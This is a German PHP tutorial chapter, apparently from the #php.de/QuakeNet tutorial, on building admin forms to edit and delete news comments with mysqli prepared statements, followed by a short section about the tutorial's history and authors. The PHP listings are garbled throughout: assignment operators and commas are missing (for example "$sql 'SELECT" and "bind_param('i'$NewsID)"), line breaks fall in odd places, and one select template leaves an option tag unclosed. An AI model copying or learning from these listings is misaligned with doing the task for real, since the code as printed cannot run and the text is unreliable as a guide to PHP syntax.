Admins sollten weiterhin die Möglichkeit haben einen Newskommentar zu bearbeiten oder sogar zu löschen. Daher fügen wir für unserem Adminbereich das Recht NewsKom hinzu. Da es Sinnfrei ist neue Kommentare über das Adminmenu hinzuzufügen legen wir die Datei admin_NewsKom_add.php an die nur eine Fehlermeldung zurückliefert.

<?php
return 'Sie können keine Newskommentare über das Adminmenu hinzufügen.';
?>

Wir werden mehrere Template-Dateien anlegen um eine News auszuwählen, um ein Kommentar auszuwählen und dann um den Kommentar zu bearbeiten.

<?php
/* Daten:
 *    News - Ein Array mit allen News im System.
 *        ID - Die ID der News
 *        Titel - Der Titel der News
 *        Datum - Das Datum wann die News geschrieben wurde
 */
?><form action="index.php?section=admin&amp;cat=NewsKom&amp;action=edit" method="post">
    <fieldset>
        <legend>News wählen</legend>
        <label>News: <select name="NewsID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['News'] as $value) { ?>
            <option value="<?php echo $value['ID']; ?>">(<?php echo htmlspecialchars($value['Datum']); ?>)
                <?php echo htmlspecialchars($value['Titel']); ?></option>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="News wählen" />
    </fieldset>
</form>

Dieses Template (admin_NewsKom_edit_select_news.tpl) zeigen wir dann an wenn die URL mit der GET-Methode aufgerufen wurde.

<?php
$ret 
= array();
$ret['filename'] = 'admin_NewsKom_edit_select_news.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    
$sql 'SELECT
                ID,
                Titel,
                Datum
            FROM
                News
            ORDER BY
                Datum DESC'
;
    if (!
$result $db->query($sql)) {
        return 
$db->error;
    }
    
$News = array();
    while (
$row $result->fetch_assoc()) {
        
$News[] = $row;
    }
    
$result->close();
    
$ret['data']['News'] = $News;
    return 
$ret;
}
// [...]
?>

Wenn eine News ausgewählt wurde zeigen wir die Kommentare an und wählen dann einen aus. Die Template-Datei admin_NewsKom_edit_select_comment.tpl sieht wie folgt aus.

<?php
/* Daten:
 *    Kommentare - Ein Array mit allen Kommentare der zuvor gewählten News.
 *        ID - Die ID vom Kommentar
 *        Datum - Das Datum der Veröffentlichung
 *        Autor - Der Autor der den Kommentar geschrieben hat
 *        Inhalt - Der Kommentar selbst
 */
?><form action="index.php?section=admin&amp;cat=NewsKom&amp;action=edit" method="post">
    <fieldset>
        <legend>Kommentar wählen</legend>
        <label>Kommentar: <select name="KommentarID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['Kommentare'] as $Kommentar) { ?>
            <option value="<?php echo $Kommentar['ID']; ?>">(<?php echo htmlspecialchars($Kommentar['Datum']); ?>)
            [<?php echo htmlspecialchars($Kommentar['Autor']); ?>]
            <?php echo htmlspecialchars(substr($Kommentar['Inhalt'], 0, 60).'...'); ?>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="Kommentar wählen" />
    </fieldset>
</form>

Und mit folgendem PHP-Code zeigen wir es an.

<?php
// [...]
    
$ret['data']['News'] = $News;
    return 
$ret;
}
if (!isset(
$_POST['formaction'])) {
    return 
INVALID_FORM;
}
if (
'News wählen' == $_POST['formaction']) {
    if (!isset(
$_POST['NewsID'])) {
        return 
INVALID_FORM;
    }
    if (
'' == $NewsID trim($_POST['NewsID'])) {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                News
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$NewsID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($NewsID);
    if (!
$stmt->fetch()) {
        return 
'Es wurde keine News mit der angegebenen ID gefunden.';
    }
    
$stmt->close();

    
$sql 'SELECT
                News_Kommentar.ID,
                News_Kommentar.Datum,
                User.Username AS Autor,
                News_Kommentar.Inhalt
            FROM
                News_Kommentar
            JOIN
                User ON
                News_Kommentar.AutorID = User.ID
            WHERE
                News_Kommentar.NewsID = ?
            ORDER BY
                Datum DESC'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$NewsID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$Kommentare = array();
    
$stmt->bind_result($ID$Datum$Autor$Inhalt);
    while (
$stmt->fetch()) {
        
$Kommentare[] = array('ID' => $ID,
                              
'Datum' => $Datum,
                              
'Autor' => $Autor,
                              
'Inhalt' => $Inhalt);
    }
    
$stmt->close();
    
$ret['filename'] = 'admin_NewsKom_edit_select_comment.tpl';
    
$ret['data']['Kommentare'] = $Kommentare;
    return 
$ret;
}
// [...]
?>

Danach zeigen wir nun endlich das Formular an um ein Kommentar bearbeiten zu können.

<?php
/* Daten
 *    ID - Die ID vom Kommentar
 *    Inhalt - Der Inhalt vom Kommentar
 */
?><form action="index.php?section=admin&amp;cat=NewsKom&amp;action=edit" method="post">
    <fieldset>
        <legend>Kommentar bearbeiten</legend>
        <label>Kommentar: <textarea name="Inhalt" cols="40" rows="8"><?php echo htmlspecialchars($data['Inhalt']); ?></textarea></label>
        <input type="submit" name="formaction" value="Kommentar speichern" />
        <input type="hidden" name="ID" value="<?php echo $data['ID']; ?>" />
    </fieldset>
</form>

Der PHP-Code sieht wie folgt aus.

<?php
// [...]
    
$ret['data']['Kommentare'] = $Kommentare;
    return 
$ret;
}
if (
'Kommentar wählen' == $_POST['formaction']) {
    if (!isset(
$_POST['KommentarID'])) {
        return 
INVALID_FORM;
    }
    if (
'' == $KommentarID trim($_POST['KommentarID'])) {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID,
                Inhalt
            FROM
                News_Kommentar
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$KommentarID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($ID$Inhalt);
    if (!
$stmt->fetch()) {
        return 
'Es wurde kein Kommentar mit der angegebenen ID gefunden.';
    }
    
$stmt->close();
    
$ret['data']['ID'] = $ID;
    
$ret['data']['Inhalt'] = $Inhalt;
    
$ret['filename'] = 'admin_NewsKom_edit_change.tpl';
    return 
$ret;
}
// [...]
?>

Nachdem wir den Inhalt geändert haben speichern wir diesen in der Datenbank ab.

<?php
// [...]
    
$ret['filename'] = 'admin_NewsKom_edit_change.tpl';
    return 
$ret;
}
if (!isset(
$_POST['ID'], $_POST['Inhalt'])) {
    return 
INVALID_FORM;
}
if (
'' == $Inhalt trim($_POST['Inhalt']) OR
        
'' == $ID trim($_POST['ID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID
        FROM
            News_Kommentar
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$ID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($ID);
if (!
$stmt->fetch()) {
    return 
'Es wurde kein Kommentar mit der angegebenen ID gefunden.';
}
$stmt->close();

$sql 'UPDATE
            News_Kommentar
        SET
            Inhalt = ?
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('si'$Inhalt$ID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();
return 
showInfo('Der Kommentar wurde bearbeitet.');
?>

Jetzt können wir Kommentare bearbeiten.

15. Kommentare löschen

Fürs löschen können wir die selben Auswahlformulare verwenden wie fürs Bearbeiten. Wir müssen nur die URLS und Submitbuttons verändern.

<?php
/* Daten:
 *    News - Ein Array mit allen News im System.
 *        ID - Die ID der News
 *        Titel - Der Titel der News
 *        Datum - Das Datum wann die News geschrieben wurde
 */
?><form action="index.php?section=admin&amp;cat=NewsKom&amp;action=del" method="post">
    <fieldset>
        <legend>News wählen</legend>
        <label>News: <select name="NewsID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['News'] as $value) { ?>
            <option value="<?php echo $value['ID']; ?>">(<?php echo htmlspecialchars($value['Datum']); ?>)
                <?php echo htmlspecialchars($value['Titel']); ?></option>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="News wählen" />
    </fieldset>
</form>
<?php
/* Daten:
 *    Kommentare - Ein Array mit allen Kommentare der zuvor gewählten News.
 *        ID - Die ID vom Kommentar
 *        Datum - Das Datum der Veröffentlichung
 *        Autor - Der Autor der den Kommentar geschrieben hat
 *        Inhalt - Der Kommentar selbst
 */
?><form action="index.php?section=admin&amp;cat=NewsKom&amp;action=del" method="post">
    <fieldset>
        <legend>Kommentar wählen</legend>
        <label>Kommentar: <select name="ID">
            <option value="0">Bitte wählen</option>
            <?php foreach ($data['Kommentare'] as $Kommentar) { ?>
            <option value="<?php echo $Kommentar['ID']; ?>">(<?php echo htmlspecialchars($Kommentar['Datum']); ?>)
            [<?php echo htmlspecialchars($Kommentar['Autor']); ?>]
            <?php echo htmlspecialchars(substr($Kommentar['Inhalt'], 0, 60).'...'); ?>
            <?php } ?>
            </select></label>
        <input type="submit" name="formaction" value="Kommentar löschen" />
    </fieldset>
</form>
<?php
$ret 
= array();
$ret['filename'] = 'admin_NewsKom_del_select_news.tpl';
$ret['data'] = array();
if (
'POST' != $_SERVER['REQUEST_METHOD']) {
    
$sql 'SELECT
                ID,
                Titel,
                Datum
            FROM
                News
            ORDER BY
                Datum DESC'
;
    if (!
$result $db->query($sql)) {
        return 
$db->error;
    }
    
$News = array();
    while (
$row $result->fetch_assoc()) {
        
$News[] = $row;
    }
    
$result->close();
    
$ret['data']['News'] = $News;
    return 
$ret;
}
if (!isset(
$_POST['formaction'])) {
    return 
INVALID_FORM;
}
if (
'News wählen' == $_POST['formaction']) {
    if (!isset(
$_POST['NewsID'])) {
        return 
INVALID_FORM;
    }
    if (
'' == $NewsID trim($_POST['NewsID'])) {
        return 
EMPTY_FORM;
    }
    
$sql 'SELECT
                ID
            FROM
                News
            WHERE
                ID = ?'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$NewsID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$stmt->bind_result($NewsID);
    if (!
$stmt->fetch()) {
        return 
'Es wurde keine News mit der angegebenen ID gefunden.';
    }
    
$stmt->close();

    
$sql 'SELECT
                News_Kommentar.ID,
                News_Kommentar.Datum,
                User.Username AS Autor,
                News_Kommentar.Inhalt
            FROM
                News_Kommentar
            JOIN
                User ON
                News_Kommentar.AutorID = User.ID
            WHERE
                News_Kommentar.NewsID = ?
            ORDER BY
                Datum DESC'
;
    if (!
$stmt $db->prepare($sql)) {
        return 
$db->error;
    }
    
$stmt->bind_param('i'$NewsID);
    if (!
$stmt->execute()) {
        return 
$stmt->error;
    }
    
$Kommentare = array();
    
$stmt->bind_result($ID$Datum$Autor$Inhalt);
    while (
$stmt->fetch()) {
        
$Kommentare[] = array('ID' => $ID,
                              
'Datum' => $Datum,
                              
'Autor' => $Autor,
                              
'Inhalt' => $Inhalt);
    }
    
$stmt->close();
    
$ret['filename'] = 'admin_NewsKom_del_select_comment.tpl';
    
$ret['data']['Kommentare'] = $Kommentare;
    return 
$ret;
}
if (!isset(
$_POST['ID'])) {
    return 
INVALID_FORM;
}
if (
'' == $ID trim($_POST['ID'])) {
    return 
EMPTY_FORM;
}
$sql 'SELECT
            ID
        FROM
            News_Kommentar
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$ID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->bind_result($ID);
if (!
$stmt->fetch()) {
    return 
'Es wurde kein Kommentar mit der angegebenen ID gefunden.';
}
$stmt->close();

$sql 'DELETE FROM
            News_Kommentar
        WHERE
            ID = ?'
;
if (!
$stmt $db->prepare($sql)) {
    return 
$db->error;
}
$stmt->bind_param('i'$ID);
if (!
$stmt->execute()) {
    return 
$stmt->error;
}
$stmt->close();
return 
showInfo('Der Kommentar wurde gelöscht.');
?>

Nun ist unser neues Newsskript fertig.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Über das Tutorial

  1. Über das Tutorial
  2. Technik des Tutorials
  3. Autoren des Tutorials

1. Über das Tutorial

Dieses zweite Version des Tutorial wurde (wieder) vom IRC-Benutzer Progman initiiert. Ausschlaggebend für eine neue Version war einfach die Tatsache dass das erste Tutorial zu Zeiten von PHP 4 entstand. Wenn man bedenkt dass es so um 2004 rum erstellt wurde hat es schon viele Jahre auf den Buckel. Und somit ist das Tutorial schlicht und einfach veraltet. PHP 4 wird nicht mehr weiterentwickelt, zum Schreiben des Tutorials ist PHP 5 voll im Gange und PHP 6 in der Entwicklung. Auf der anderen Seite sind manche Programmierstile im Tutorial veraltet bis hin zu einfach falsch und sinnfrei. Nun, nach einigen Jahren sind auch wir die Autoren schlauer geworden, kennen viel mehr Fallen in PHP, kennen mehr Tricks und mehr externe Gefahren, die auf ein PHP-Skript einwirken können. Somit war es Zeit für eine zweite Version.

2. Technik des Tutorials

Das Tutorial benutzt auch wie die erste Version XML-Dateien als Quelle für den Inhalt. Diese XML-Dateien unterliegen einem XML-Schema um die syntaktische Gültigkeit der Kapitel sicherzustellen. Das Verarbeiten der XML-Dateien geschieht über SimpleXML, nicht mehr wie früher über XSLT. Dann werden noch triviale Techniken benutzt wie z.B. gültiges XHTML 1.0 Strict und CSS, aber auch sehr exotische Sachen wie SVG-Dateien.

3. Autoren des Tutorials

Anstatt nun hier alle Autoren aufzulisten, die ihren Beitrag am Tutorial geleistet haben ist es viel einfacher zu sagen dass die Autoren hauptsächtlich als Operator im Quakenet/#php.de Channel zu finden sind. Nenneswert sind dabei auch die Besucher des Channels die auf Fehler in dem Tutorial hinweisen.

Fragen zum Kapitel

Keine Fragen zum Kapitel vorhanden

Copyright © bei den OPs von #php.de/QuakeNet Valid XHTML 1.0 Strict Valid CSS!